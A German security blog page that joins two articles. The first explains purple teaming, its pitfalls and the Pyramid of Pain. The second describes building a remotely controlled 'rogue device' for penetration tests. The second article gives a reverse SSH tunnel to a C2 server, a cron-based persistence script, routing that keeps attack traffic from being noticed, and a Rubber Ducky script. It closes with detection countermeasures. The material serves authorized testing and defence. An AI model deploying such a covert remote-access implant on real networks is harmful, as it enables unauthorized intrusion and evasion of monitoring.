Purple Teaming beschreibt die enge Zusammenarbeit zwischen Red Team (Angreiferperspektive) und Blue Team (Verteidigerperspektive), um die Sicherheitslage eines Unternehmens gezielt und messbar zu verbessern. Techniken, Taktiken und Prozesse (TTPs) wie auch Erkenntnisse und Beobachtungen werden direkt und zeitnah geteilt. Die Ausrichtung der Übung soll sich an realen Bedrohungen orientieren, zum Beispiel an MITRE ATT&CK – Enterprise Techniques oder auch konkreten Threat-Actors. Ziel solcher Purple Team Projekte ist es das bereits vorhandene Sicherheitsdispositiv des Unternehmens nachweislich zu verbessern und möglich Lücken in der Überwachung und Reaktion aufzudecken.

Warum Purple Teaming? Ziele und Mehrwert

Purple Teaming ist vor allem dann wirksam, wenn es als Übung verstanden wird und nicht als Prüfung einzelner Teams. Eine der wichtigsten Grundlagen ist die Kooperation zwischen dem Red und Blue Team. Der Fokus liegt auf Detektions- und Response-Fähigkeiten entlang eines realistischen Angriffsflusses (Kill Chain) und/oder TTPs, inklusive sauberer Messbarkeit:

• Was wurde erkannt?
• Wie schnell?
• Mit welcher Qualität (Triage, Kontext, Eskalation, Containment)?

Ebenso zentral sind klar definierte Erfolgskriterien wie gewünschte Telemetrie, neue Detection Use Cases, Playbook-Verbesserungen, verkürzte Mean Time to Repair (MTTR), Scope- und Risk-Governance (Produktionsrisiken, Datenzugriffe, Freigaben), gemeinsames internes Vokabular definieren oder verbessern (TTP Mapping, Severity-Logik, Alert-Definitionen).
Die Ziele sollten auf die Firma massgeschneidert werden und den aktuellen Reifegrad des IT-Sicherheitsdispositiv berücksichtigen. Typische Ziele könnten foglende sein:

• Sichtbarkeit und Detektion für definierte TTPs verbessern
• Time-To-Detect und Time-To-Respond prüfen und senken
• Mögliche Blindspots und Detection Gaps identifizieren und adressieren
• Prozess und Kontrollen validieren, funktioniert die Triage, das Incident-Handling, die Übergaben intern/extern? Funktionieren die eingesetzten Kontrollmechanismen wie MFA, Hardening und Block-/Allowlisting?

Ein weiterer Erfolgsfaktor ist die Balance zwischen Realismus und Lernkurve: Purple Teaming soll iterativ sein. So entsteht ein kontinuierlicher Verbesserungsprozess, bei dem Red und Blue Team nicht gegeneinander arbeiten, sondern gemeinsam das Sicherheitsdispositiv verbessern.

Während ein reines Red Teaming primär Schwachstellen demonstriert und ein Blue Teaming häufig reaktiv auf Alerts arbeitet, verbindet Purple Teaming beides zu einem messbaren Verbesserungszyklus

• Detection Engineering mit Realitätsbezug: Detection Use Cases können basierend auf echten TTPs und Kill Chains erstellt werden, anstatt generische Best-Practices-Listen abzuarbeiten
• Verbesserung der Telemetrie: Aufgrund der bereits zuvor definierten Umgebung oder Rahmenbedingungen kann schnell erkannt werden, ob wichtige Datenquellen fehlen
• Alert-Qualität: False Positives reduzieren und dabei den Kontext verbessern wie auch die Priorisierung und Korrelation
• Know-How Transfer und Kultur: Während des Projektes kann ein direkter Know-How-Transfer zwischen den Teams geschehen und Risiken, Machbarkeit wie auch möglicher Aufwand wird sichtbar gemacht

Stolpersteine

Da der Reifegrad der IT-Sicherheit in jeder Firma variiert, ist es wichtig, im Voraus transparent Ziele zu definieren und diese im Team (Red und Blue zusammen) zu besprechen, um bereits zu Beginn mögliche Stolpersteine zu adressieren. Gute Purple-Team-Übungen sind ziel- und messbarkeitsgetrieben. Es wird klar definiert, welche Kill Chain oder TTPs geprüft werden. Somit können keine falschen Erwartungshaltungen entstehen, und alle Beteiligten wissen, was getestet wird.
Es ist wichtig, darauf zu achten, den Scope nicht zu gross anzusetzen und die Priorisierung danach nicht zu vernachlässigen. Es sollte eine zuvor definierte Kill Chain oder eine kleine Menge an TTPs, beispielsweise die Top Threats der eigenen Branche, adressiert werden. Während des Projekts können Re-Tests und wenn möglich bereits nachhaltige Gegenmassnahmen/Fixes erstellt werden. Dies ist natürlich nicht möglich, wenn die nötige Telemetrie und Datenqualität nicht vorhanden ist.
Damit sind wir bereits beim dritten Stolperstein angelangt. Purple Teaming lohnt sich erst richtig, wenn saubere Datenquellen und Telemetrie vorhanden sind. Hierzu gehören alle Arten von fehlenden Logs, fehlenden Prozess- oder Netzwerkdetails bis hin zu zu kurzen Retention-Times von Daten. Wenn die Datenqualität und Telemetrie gegeben sind, muss anschliessend darauf geachtet werden, dass keine Silos entstehen.
Oft ist trotz ausgerolltem EDR auf allen Clients, eingesetztem SIEM und definierten SOC-Prozessen das End-to-End-Ownership und somit die Zuständigkeiten nicht eindeutig geklärt.

Bestimmte TTPs könnten Systeme stören. Die Rahmenbedingungen müssen klar definiert werden. Hierzu gehören erlaubte Payloads, die Durchführung bestimmter Tests während Change- oder Maintenance-Windows sowie Rollback- oder sogar Failover-Pläne. Hier bietet es sich natürlich auch an, solche TTPs in einer Testumgebung zu prüfen oder sie in einem ersten Purple-Team-Projekt komplett auszuklammern.
Zum Abschluss noch einer der grössten Stolpersteine einer Purple-Team-Übung: Keine saubere Dokumentation und fehlende Nacharbeit. Die vom Red Team eingesetzten Tools und Techniken müssen genau dokumentiert werden: Auf welchem System wurde mit welchem Benutzer zu welcher Uhrzeit welches Tool oder welche Technik ausgeführt oder gestartet? Diese Informationen müssen dem Blue Team zur Verfügung stehen, damit es bei der Nacharbeit den Mehrwert generieren kann. Detections können nochmals geprüft und bei Bedarf angepasst werden. Fehlende Datenquellen können identifiziert und adressiert werden. Playbooks können verbessert und Retests geplant werden.

Pyramid of Pain

Vor 13 Jahren hat David J. Bianco die Pyramid of Pain in einem Blogpost veröffentlicht und 2022 ein update dazu veröffentlicht. Er beschreibt wie viel schwieriger, oder eben schmerzhafter, es für Angreifer ist erfolgreich zu sein, wenn Verteidiger bestimmte Indikatoren erkennen und blockieren.

Diese Pyramide kann auch heute noch genutzt werden. Wir können versuchen unsere Ziele während des Projektes so zu wählen, um die Pyramide systematisch von trivial bis hin zu herausfordernd anzugehen.

Erste Ebene (Hashes, IPs, Domains) Volatile Indikatoren, durch neue Infrastruktur oder Hashes

• Werden solche IOCs sauber geloggt und verarbeitet (SIEM, Proxy, EDR)?
• Wie schnell werden diese detektiert und wie lange geht es, bis diese geblockt werden, ist dies automatisiert oder muss es von einem SOC-Mitarbeiter manuel bearbeitet werden?
• Wieviele und was für False Positives entstehen?

Mittlere Ebene (Artefakte) Muster, Anomalien oder böswillige Aktivitäten auf einem oder mehreren Hosts

• Prozessketten, Registry-Änderungen, ungewöhnliche Prozesse identifizierbar?
• Bekannte, möglicherweise böswillige Dateien oder Verzeichnisse an bestimmten Orten auf dem Client?
• Anomalien der laufenden Dienste oder neue, nicht bekannte Dienste?

Oberste Ebene (TTPs) Tools aber auch Techniken (Credential Dumping, Privilege Escalation, Lateral Movement), wenn die Tools ändern

• Kann die Technik und nicht das Tool erkannt werden? Wenn ein anderes Tool eingesetzt wird?
• Sind passende Response-Verfahren vorhanden, wurden diese geprüft und können diese eingesetzt werden, beispielsweise Client Isolation oder Token-Revocation?
• Hierbei geht es um das gesamte Vorgehen eines Angreifers, von Reconnaissance bis hin zu der Exfiltration oder Zerstörung/Verschlüsselung von Daten

Der primäre Fokus eines Purple Team sollte sich auf die mittleren bis oberen Ebenen konzentrieren. Die Verteidigung wird verbessert und auf Verhaltensmuster und Taktiken/Techniken ausgerichtet oder erweitert.

Automatisierung und Purple-Teaming-Tools

Für saubere, gut vorbereitete und strukturiert durchgeführte Purple-Team-Übungen sind genügend Ressourcen erforderlich. Benötigt werden ein Red Team (intern oder extern), ein Blue Team sowie aktuelle IT-Systeme und deren Überwachung. Auch die Planungsphase, Dokumentation, Testing und alles, was dazugehört, können ressourcenintensiv werden. Deshalb wäre es naheliegend, Tools oder eine Automatisierung einzusetzen, um beispielsweise den technischen Test oder einen Teil davon zu automatisieren.
Es gibt eine Vielzahl an Tools, die jedoch meistens kein gesamtes Purple-Team-Protokoll in kurzer Zeit automatisieren können.

Ein Beispiel ist Atomic Red Team, eine Open-Source-Bibliothek von Tests, um die eingesetzten Sicherheitsmechanismen zu prüfen. Die Tests sind gemäss MITRE ATT&CK Techniques abgebildet und zugewiesen.
Wenn beispielsweise geprüft werden soll, ob neue Detection Rules oder SOC-Use-Cases bei der Technik OS Credential Dumping anschlagen, kann mithilfe der T-Nummer von MITRE, in diesem Fall wäre das T1003, ein passender Test ausgewählt und ausgeführt werden.
Als Voraussetzung gilt wie bei allen Tests, das Bewusstsein und das Verständnis muss vorhanden sein bezüglich was ausgeführt oder heruntergeladen wird. Es ist unerlässlich, eine Prüfung der auszuführenden Scripts oder Tools durchzuführen. Das Clean Source Principal darf nicht vernachlässigt werden. Einige Tests dieser Open-Source-Bibiliotheken verwenden den PowerShell Befehl Invoke-WebRequest um ein weiteres Tool oder DLL-Dateien herunterzuladen, die wir nicht in einer produktiven Umgebung haben möchte.
Es gibt auch Anbieter, die Purple-Team-Projekte als automatisierte Dienstleistung in Form von Tools oder Ähnlichem anbieten. Auch hier gilt wieder das Clean Source Principal, wenn sich eine Firma dafür entscheidet, ein solches Tool einzusetzen, vertraut sie dem Anbieter und dessen Tools. Alternativ setzt sie ein Code-Review der eingesetzten Tools voraus, was die durch einen solchen Dienst erzielte Einsparung von Ressourcen aber mit höchster Wahrscheinlichkeit zunichtemacht.

Zusammenfassung

Purple Teaming ist eine sehr effektive Methode, um Security nicht nur zu testen, sondern nachweislich zu verbessern. Durch enge Zusammenarbeit von Red und Blue Team, realitätsnahe TTP-Auswahl, schnelle Feedback-Loops und klare Messkriterien kann das bereits vorhandene Sicherheitsdispositiv geprüft und weiter ausgebaut werden. Die grössten Stolpersteine liegen selten in der Technik selbst, sondern in Scope, Telemetrie, Zuständigkeiten, Governance und fehlender Nacharbeit. Die Pyramid of Pain bietet ein nützliches Denkmodell: Purple Teaming hilft, Detektionen von fragilen IOCs hin zu verhaltens- und technikbasierten Erkennungen zu verschieben – wo es für Angreifer wirklich teuer wird. Tools und Automatisierung können Purple Teaming skalieren und Regressionen sichtbar machen. Der nachhaltige Mehrwert entsteht jedoch erst durch saubere Dokumentation, Reviews, kontinuierlicher weiterentwicklung von Detection Rules und Use-Cases, deren Prozessverbesserungen und konsequente ReTests und Validierung.

Im Februar 2019 haben wir im Artikel NAC-Bypass – Eine praktische Umsetzung eine Lösung zur Umgehung einer portbasierten Netzwerkzugangskontrolle nach IEEE 802.1X vorgestellt und ein Bash-Skript in unserem GitHub-Repository veröffentlicht. Einer der offenen Punkte am Ende des Artikels war die Implementation einer Managementschnittstelle in Form eines WLAN- oder Mobilfunkadapters. Dieser Artikel widmet sich unter anderem dieser Aufgabe.

Wenn ein solches Gerät, wir bezeichnen es als Rogue Device, während eines Assessments im Unternehmensnetzwerk des Kunden platziert wird, sollten die darauf befindlichen Daten geschützt sein. Einerseits als Selbstschutz, da beispielsweise Schlüsselmaterial für Remote-Verbindungen gespeichert wurde und andererseits um Zugangsdaten, die während des Assessments erbeutet wurden, sicher abzulegen. In diesem Artikel befassen wir uns mit deshalb auch mit der Verschlüsselung des Geräts.

Als Grundlage für ein Rogue Device kann ein ARM-basiertes Gerät wie ein Raspberry Pi oder ein x64-basiertes Gerät wie von Protectli verwendet werden. Das Gerät sollte handlich sein und über mehrere Netzwerk- und USB-Anschlüsse verfügen. Darauf kann eine Linux-Distribution der Wahl betrieben werden. Bei ARM-Geräten ist zu beachten, dass die zu verwendeten Tools auch als ARM-Version vorliegen müssen, was je nachdem zusätzlichen Aufwand bedeutet, da Binaries ausserhalb der Paketverwaltung der Distribution für ARM kompiliert werden müssen.

Fernsteuerung

Damit das Rogue Device einen unabhängigen Kanal aufbauen kann, wird ein alternatives Medium wie WLAN oder Mobilfunk eingesetzt. Für eine Mobilfunkverbindung eignet sich beispielsweise der Huawei 4G Dongle E3372-325 (BROVI). Nach dem Kauf sollte die Firmware aktualisiert werden, um Probleme bei der Verwendung unter Linux zu vermeiden. Zur Nutzung des Huawei-Dongles sind udev-Regeln sowie ein Bash-Skript notwendig, beide haben wir in unser GitHub-Repository hochgeladen: 40-huawei-brovi.rules und brovi_switch. Das Bash-Skript stellt sicher, dass sich der Huawei-Dongle nicht nur als Datenträger verbindet, sondern ein USB-Mode-Switch durchgeführt wird und die Modemkomponente geladen wird.

Da für den NAC-Bypass der Netzwerkdienst NetworkManager deaktiviert wird, muss die Netzwerkkonfiguration für den Huawei-Dongle manuell respektive über eine Konfigurationsdatei vorgenommen werden. Zusätzlich kann in der Konfiguration eine Route zum Command-und-Control-Server (C2), erreichbar unter der IP-Adresse 198.51.100.23, definiert werden. Damit ist sichergestellt, dass die Verbindung zum C2-Server über Mobilfunk erfolgt. Unter einer auf Debian-basierenden Distribution wird folgende Konfiguration unter /etc/network/interfaces.d/usb0 benötigt.

auto usb0
    allow-hotplug usb0
    iface usb0 inet dhcp
    up ip route add 198.51.100.23/32 via 192.168.8.1 dev usb0

Damit ist der Huawei-Dongle einsatzbereit und beim Anschliessen des Geräts sollte eine Internetverbindung aufgebaut werden.

SSH Tunnelling

Wenn das Rogue Device eine Internetverbindung aufgebaut hat, ist die IP-Adresse des Geräts nicht bekannt. Zudem wird auf dem USB-Dongle Network Address Translation (NAT) eingesetzt. Es ist daher nicht möglich, eine direkte Verbindung auf das Gerät aufzubauen. Eine Lösung dafür ist die Verwendung von SSH Tunnelling. Beide Systeme betreiben einen OpenSSH-Server, auf dem C2-Server wird ein Benutzer namens rogue01 angelegt und auf dem Rogue Device ein SSH-Schlüsselpaar generiert. Der Benutzer wird verwendet um einen Tunnel über SSH Remote Port Forwarding aufzubauen.

ssh -N -R 44444:localhost:22 -p 22222 -i ~/.ssh/id_ed25519 rogue01@198.51.100.23 >/dev/null 2>&1 &

Der Befehl wird auf dem Rogue Device ausgeführt. Dieser Befehl erlaubt es jedem Benutzer auf dem C2-Server 198.51.100.23 auf den lokalen Port 44444/tcp zuzugreifen und beim Zugriff wird die Verbindung zum Rogue Device getunnelt und baut dort eine lokale Verbindung zum Port 22/tcp auf. Somit wird eine SSH-Sitzung auf dem Rogue Device geöffnet, ohne dass das Rogue Device direkt aus dem Internet erreichbar ist.

Die Verbindung zum C2-Server wird direkt nach dem Start aufgebaut. In einem bestimmten Zeitabstand wird geprüft, ob die Verbindung noch existiert und falls nicht, wieder neu aufgebaut. In einem grösseren Abstand sollte die Verbindung komplett neu aufgebaut werden. Das Zurücksetzen stellt sicher, dass eine tote Verbindung, deren Prozess noch läuft, erkannt und beendet wird. Mit dieser Prozedur geht die Verbindung zum Rogue Device nicht vollständig verloren, falls beispielsweise das Netz kurz ausfällt, sondern wird im definierten Zeitabstand wieder aufgebaut. Das Vorgehen haben wir in einem einfachen Bash-Skript implementiert.

#/bin/bash
HOST="198.51.100.23"
RPORT="22222"
LPORT="44444"
USER="rogue01"
IDENTITY="~/.ssh/id_ed25519"
PATTERN="rogue"
FLAG=$1
Search for ssh process
PID=$(ps axf | grep ssh | grep $PATTERN | awk '{print $1}')
If reset flag is set, kill connection
if [ "$FLAG" = "RESET" ]
then
    kill -9 $PID
    PID=
fi
Check if connection is already established
if [ -z "$PID" ]
then
    echo "Not running"
    ssh -N -R $LPORT:localhost:22 -p $RPORT -i $IDENTITY $USER@$HOST >/dev/null 2>&1 &
else
    echo "Running"
    # Do nothing
fi

Das Skript wird über Cron Jobs direkt nach dem Start, alle 5 Minuten zur Verbindungsprüfung und alle 30 Minuten für ein Zurücksetzen der Verbindung aufgerufen:

# Add a cron job to the rogue device to establish a connection after boot
@reboot sleep 120 && bash ~/scripts/connect.sh > /dev/null 2>&1
Check every 5 minutes if connection is still running
*/5 * * * * bash ~/scripts/connect.sh > /dev/null 2>&1
Reset the connection all 30 minutes
*/30 * * * * bash ~/scripts/connect.sh "RESET" > /dev/null 2>&1

Somit ist die Remote-Kommunikation mit dem Rogue Device, dass in einem Kundennetzwerk platziert wurde, sichergestellt. Das Rogue Device verbindet sich über Mobilfunk und kann Remote über eine SSH-Verbindung kontrolliert werden. Damit kann das Gerät mehrere Tage autonom ohne physischen Zugriff betrieben werden.

Monitoring

Auf dem C2-Server kann der Verbindungsaufbau des Rogue Device überwacht werden. In der einfachsten Form mit der Auswertung der Logdatei zur Authentisierung:

sudo tail -f /var/log/auth.log | grep sshd

Es kann passieren, dass eine Verbindung unterbrochen, aber der Prozess nicht vollständig beendet wird. Wenn die SSH-Prozess auf dem C2-Server weiterhin ausgeführt wird, und sich das Rogue Device neu verbinden will, schlägt die Einrichtung des Port-Forwardings fehl. Daher lohnt es sich die Logs im Blick zu haben oder eine Session-Verwaltung zu entwickeln, die automatisch solche toten Verbindungen erkennt und entfernt.

Falls das Rogue Device in unbefugte Hände gerät und das Schlüsselmaterial ausgelesen werden kann, entsteht die Möglichkeit, dass sich jemand mit dem Benutzer auf dem C2-Server anmelden will. Um dies zu erkennen und zu verhindern, dass damit Schaden angerichtet wird, kann über die SSH-Konfigurationseinstellung ForceCommand ein Befehl hinterlegt werden, der beim Login ausgeführt wird. In diesem Beispiel erfolgt eine Benachrichtigung über den Login-Versuch in einen Slack-Channel und die Verbindung wird abgebaut. Dazu wird in der Datei /etc/ssh/sshd_config ein Eintrag für den Benutzer des Rogue Device erstellt.

# Notification for Rogue Device
Match User rogue01
    ForceCommand /opt/notify/notify.sh

Das ausgeführte Script verbindet sich über einen Webhook zu einem Slack-Channel und postet den Verbindungsversuch.

#!/bin/bash
url="https://hooks.slack.com/services/<secret>"
channel="#channel"
host="`hostname`"
content="\"attachments\": [ { \"mrkdw\": [\"text\", \"fallback\"], \"fallback\": \"SSH login: $USER connected to \`$host\`\", \"text\": \"SSH login to \`$host\`\", \"fields\": [ { \"title\": \"User\", \"value\": \"$USER\", \"short\": true }, { \"title\": \"IP Address\", \"value\": \"$SSH_CLIENT\", \"short\": true } ], \"color\": \"#F35A00\" } ]"
curl -s -X POST —data-urlencode "payload={\"channel\": \"$channel\", \"mrkdwn\": true, \"username\": \"ssh-bot\", $content, \"icon_emoji\": \":computer:\"}" $url

Alternativ kann auf eine Benachrichtigung des Logins verzichtet und dem Benutzer die Shell /usr/sbin/nologin zugewiesen werden.

NAC-Bypass

Wenn der SSH-Tunnel aufgebaut wurde, kann das NAC-Bypass-Skript manuell ausgeführt werden. Die Remote-Verbindung sollte dabei nicht betroffen werden. Falls die Dienste im Unternehmensnetzwerk nicht erreicht werden können, kann dies mit Setzen von Routing-Metriken korrigiert werden.

$ sudo ip route replace default via 169.254.66.1 dev br0 metric 10
$ sudo ip route del default via 169.254.66.1 dev br0
$ sudo ip route replace default via 192.168.8.1 dev usb0 metric 100
$ sudo ip route del default via 192.168.8.1 dev usb0

Die Routing-Tabelle sollte schlussendlich so aussehen:

$ ip route
default via 169.254.66.1 dev br0 metric 10
default via 192.168.8.1 dev usb0 metric 100
198.51.100.23 via 192.168.8.1 dev usb0
169.254.0.0/16 dev br0 proto kernel scope link src 169.254.66.66
192.168.8.0/24 dev usb0 proto kernel scope link src 192.168.8.101

Wichtig ist, dass die Route zum C2-Server nicht entfernt wird, sonst geht die Verbindung verloren, respektive wird durch das Unternehmensnetzwerk geroutet und der Angriff könnte auffallen.

Verschlüsselung

Das Rogue Device wird während eines Assessments platziert und kann über Tage hinweg ausserhalb unserer Kontrolle verbleiben. Daher muss als Bestandteil der Operations Security (OPSEC) der Zugriff auf Daten des Geräts geschützt werden. Daher wird unter anderem die Festplatte des Rogue Device verschlüsselt. Bei einem Raspberry Pi kann die Festplattenverschlüsselung nicht während des Installationsprozesses eingesetzt werden, da das Betriebssystem-Image direkt auf eine SD-Karte kopiert wird. Daher muss der Verschlüsselungsvorgang mit LUKS im Nachhinein erfolgen. Der komplexe Prozess ist Schritt-für-Schritt im Artikel LUKS on Raspberry Pi beschrieben.

Wenn das Gerät vor Ort platziert wird, ist kein Bildschirm oder keine Tastatur angeschlossen. Eine automatische Entschlüsselung der Festplatte während des Bootprozesses ist keine Option, da sonst das Gerät auch von unbefugten Personen gestartet werden kann. Entweder wird ein Schlüssel auf einem USB-Stick hinterlegt und zur Boot-Zeit angeschlossen, oder die Passphrase zur Entschlüsselung der Festplatze kann durch ein Gerät wie USB Rubber Ducky automatisch getippt werden. Das Ducky Script dazu lautet:

DELAY 1000
STRING <passphrase>
ENTER

Für den passenden Wert des Parameters DELAY sollte experimentiert werden, wie viel Zeit nach dem Starten des Geräts und dem Initialisieren der USB-Geräte vergeht, damit die Eingabe der Passphrase nicht von anderen Ereignissen unterbrochen wird. Der Wert ist auch abhängig von der Geschwindigkeit der verwendeten Hardware. Der USB-Stick mit dem Schlüsselmaterial respektive dem Passcode wird nach Start des Geräts entfernt.

Falls das Gerät in unbefugte Hände gerät, sind die Daten geschützt wenn die Festplatte respektive SD-Karte vom Gerät entfernt oder der Strom unterbrochen wird. Es sollte eine starke und zufallsgenerierte Passphrase verwendet werden, um Brute-Force-Angriffen wenig Chancen auf Erfolg zu geben. Dasselbe gilt für Passworte für die Benutzeraccounts auf dem Gerät.

Es gilt nicht nur das Rogue Device gegen eine forensische Untersuchung zu schützen, da sich während des Assessments sensitive Daten wie Zugangsinformationen auf dem Gerät befinden können, muss der Zugriff auf diese auch geschützt sein. Solche Daten sollten sich nur so lange wie nötig auf dem Gerät befinden und sobald möglich über die Remote-Verbindung extrahiert werden.

Falls aus Gründen die Festplatte respektive die SD-Karte nicht verschlüsselt werden kann, ist die Verwendung eines verschlüsselten Containers ein Backup-Plan. Es wird dabei ein Container erstellt und wenn benötigt auf dem System entschlüsselt und eingebunden. Wenn der Container nicht mehr benötigt wird, muss dieser wieder ausgehängt werden, da der Schutz der Daten ansonsten nicht gewährleistet ist. Ein solcher Container wird mit LUKS folgendermassen erstellt:

$ PROJECT="whisky"
$ dd if=/dev/zero of=$PROJECT.img bs=1 count=0 seek=256M
$ sudo cryptsetup luksFormat $PROJECT.img
$ sudo cryptsetup luksOpen $PROJECT.img $PROJECT
$ sudo mkfs.ext4 /dev/mapper/$PROJECT
$ mkdir ~/$PROJECT
$ sudo mount /dev/mapper/$PROJECT $HOME/$PROJECT

Der Container wird bei Bedarf eingebunden, die Daten gespeichert und/oder verarbeitet und danach wird der Container wieder ausgehängt.

Gegenmassnahmen

Die Platzierung eines Rogue Device mittels NAC-Bypass-Angriff ist in einem kabelgebundenen Netzwerk auf technischer Ebene schwer zu verhindern. Wenn Angreifer Zugang zu einem Gerät erlangen, kann dieses missbraucht werden. Durch die Verwendung einer permanenten VPN-Verbindung, die auch im Unternehmensnetzwerk notwendig ist, landläufig als Zero Trust bezeichnet, kann der Missbrauch von Laptops für einen Bypass verhindert werden. Bei Netzwerkdruckern sollte eingeschränkt werden, welche Systeme und andere Netzwerkzonen ein Drucker erreichen kann.

Eine Möglichkeit zu Erkennung eines Angriffs ist die physikalische Detektion von unbekannten Geräten sowie die Detektion von Anomalien im Netzwerkverkehr. Diese Anomalien können einerseits Fehlkonfigurationen des Angreifers sein, falls von seinem Gerät aus atypische Anfragen ausgehen, wie unter anderem Anfragen an externe NTP-Server oder DNS-Anfragen zu externen Domänen oder aufgrund von Routing-Fehlern nicht die Mobilfunkverbindung verwendet wird. Andererseits können die Angriffsaktivitäten eines Angreifers im Netzwerk identifiziert werden.

Zur Detektion von Angriffsaktivitäten können verschiedene Mittel eingesetzt werden. Eine Möglichkeit ist die Analyse von Firewall-Logs auf Zonenübergängen, um beispielsweise Portscans zu entdecken. Das Platzieren von Honeypots im Netzwerk ist ein effizientes Mittel zur Detektion. Dabei wird ein System im Netzwerk platziert, das auf allen Netzwerkports auf eingehende Verbindungen wartet. Da dieses System betrieblich nicht genutzt wird, kann jede Interaktion mit diesem Gerät als illegitime Aktion klassifiziert werden und zu einer Alarmierung führen.

Fazit

Durch die Verwendung eines alternativen Netzwerkmediums kann ein Rogue Device unabhängig aus der Ferne kontrolliert werden. Der beschriebene Ansatz mittels eines Mobilfunk-USB-Dongles ist nur eine der Möglichkeiten, denkbar wäre auch ein WLAN zu verwenden. Durch das Setzen von Routing-Regeln kann unser NAC-Bypass-Skript ohne weitere Anpassungen verwendet werden. Um das Gerät vor unbefugten Einblicken und die darauf befindlichen Daten zu schützen, empfehlen wir Rogue Device mit einer Full-Disk-Verschlüsselung einzusetzen. Die Entwicklung eines Rogue Device ist damit längst noch nicht abgeschlossen, wir werden zukünftig weitere Features einbauen und veröffentlichen. Wir freuen uns über Feedback, Verbesserungsvorschläge und Pull Requests.

• The Personal AI Stack: A Power User’s Guide (zeltser.com)
• NIST Scales Back NVD CVE Enrichment: What to Know (tenable.com)
• FBI Extracts Suspect’s Deleted Signal Messages Saved in iPhone Notification Database (404media.co)
• My Quest to Solve Bitcoin’s Great Mystery (nytimes.com)
• Mythos and Cybersecurity (schneier.com)
• Scanning for AI Models (isc.sans.edu)
• How to defend yourself against AI cheating accusations (mashable.com)
• Theodosian Land Walls of Constantinople (turkisharchaeonews.net)
• What hackers talk about when they talk about AI (arxiv.org)
• AI Is Cannibalizing Human Intelligence. Here’s How to Stop It. (wsj.com)
• High-Quality Chaos (daniel.haxx.se)
• Teens Alarmed at What AI Is Doing to Their Minds (futurism.com)
• Benchmarking Self-Hosted LLMs for Offensive Security (trustedsec.com)
• Sycophantic AI decreases prosocial intentions and promotes dependence (science.org)
• Think Gen Z Loves AI? A New Study Shows Anger Spiking While Excitement Tanks (usnews.com)
• OpenAI Backing Law That Protects It When AI Causes Mass Deaths and Other Mayhem (futurism.com)
• Germany Doxes ‘UNKN’, Head of RU Ransomware Gangs REvil, GandCrab (krebsonsecurity.com)
• I tried to prove I’m not AI. My aunt wasn’t convinced (bbc.com)